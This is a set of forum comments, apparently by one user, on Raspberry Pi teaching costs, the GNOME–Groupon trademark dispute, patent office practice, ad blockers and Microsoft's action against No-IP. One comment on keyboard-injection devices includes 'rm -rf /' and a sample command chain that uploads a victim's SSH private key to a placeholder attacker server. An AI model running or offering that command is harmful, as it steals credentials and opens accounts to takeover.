They're commiserating with both of the Blackberry users about it.

This.

4.98 / 100 = 0.0498

Last I checked, 0.0498 > 0.45 > 0.035

That nitpick aside...I agree that a Raspberry Pi is way overkill for making an LED blink...unless you're trying to teach rather than accomplish something (eg low cost blinking light). If you need to produce a thousand blinking widgets, the process is far different than if you're trying to teach kids (or adults...) about programming and software driven hardware.

Given how insanely important this particular statement is to the whole conversation, I'm surprised I had to scroll almost all the way down to the bottom before someone brought it up.

This bit is why I personally think it's an excellent idea...they aren't trying to produce fully fledged senior developers ready to lead a team of developers in building/maintaining/re-purposing a fortune 500 company's mission critical systems.

They're trying to jumpstart the beginnings of that...the mindset that will, one day far down the road (if the individual is motivated to continue learning) will produce an exceptional programmer.

Question...where are you finding prices below $0.035 (or $0.045 if we're counting shipping) for the parts to make an LED blink?

I disagree. If I were the tech guy at say...Lowes (which, admittedly, I'm not), the similar name would be a point of confusion for middle management.

Manager: "Hey, I heard about this new Gnome thing that Groupon is offering to install for Significantly Reduced Prices. You've been bothering me for the last year about upgrading our own gnome system, why not let them do the upgrade?"
IT Guy: "There's a huge difference between GNOME and Gnome, sir."
Manager: "Doesn't sound like there is, they both do point of sale, and Groupon has TOUCH! Everybody wants touchscreens, right?"
IT Guy: "Please just kill me now"

Yes, there's a lot of copyright bullshittery happening...but despite my own personal distaste for the GNOME project, this is bigger than that. Given that Groupon was trying to establish a presence in a market that GNOME already had a presence in, I'd think it'd kinda fall into the realm of "valid defense of a mark".

To use the vulnerable car analogy:
The GNOME group was running a small dealership that gave away free mopeds with the "GNOME" name on them.
A nearby radio station decides to start up a motorcycle dealership, selling motorbikes they call "Gnome".
End result would be that if I say "I got a payout from my bitcoin miner, I'm going to go buy myself a gnome", you might not know whether I'm getting a moped or a motorbike.

Reading. Do you even?

Groupon was rolling out a Point-Of-Sale touch interface thin OS system, calling it Gnome. Perhaps you can see how this would possibly be confused with the GNOME touch capable OS, which is (at least in some Lowe's locations) installed on Point-Of-Sale systems.

No clue why this was marked "redundant". From what I can see, this is the point that everyone else is missing...it's not about a couple of guys occasionally goofing off, it's a culture of slacking off, then rushing and pushing through shoddy work, which has resulted in some fairly retarded patents getting approved, even in cases where prior art was clear.

I eat Cheetos, you insensitive clod!

I'd be interested to see how well this works against linux workstations. Having the ability to arbitrarily send keyboard commands will only be effective if a) they're the correct key commands (eg, the shortcut to open the terminal client, or a web browser, which changes depending on your desktop environment) and you can actually *do* those commands. Eg, "rm -rf /" isn't going to work without the superuser password.

That said...something like "cd ~/.ssh;ftp attack@myserver.hack;put id_rsa;exit" wouldn't necessarily need any sort of high level access...and getting ahold of someone's private key is akin to getting the holy grail, especially if you can do it without them realizing it.

$hat = 'tinfoil'

Nah, Leverage is just an illegally de-classified documentary of a black ops crime fighting unit from the future, sent back to us by the rebels as a warning about what's coming next.

At the point where a hacker has physical access to one of your machines, you have bigger problems than whether they're going to swap out your mouse for something more easily hackable.

I basically came here to say exactly this. Adblock Plus, NoScript, Ghostery, FlashBlock...whenever I browse the internet without them (eg, on a friend's computer, or when doing tech support, or when re-installing an OS) I have a moment of "...the heck are these abominations?" before I remember that, oh right, the internet has ads.

Try reading a bit deeper. This from the TechNet article:

ex parte : "a legal proceeding brought by one person in the absence of and without representation or notification of other parties."

Translation: Microsoft *never notified* No-IP. There was no summons. There was no notification. There was no chance to file for a stay of judgement or make an appeal.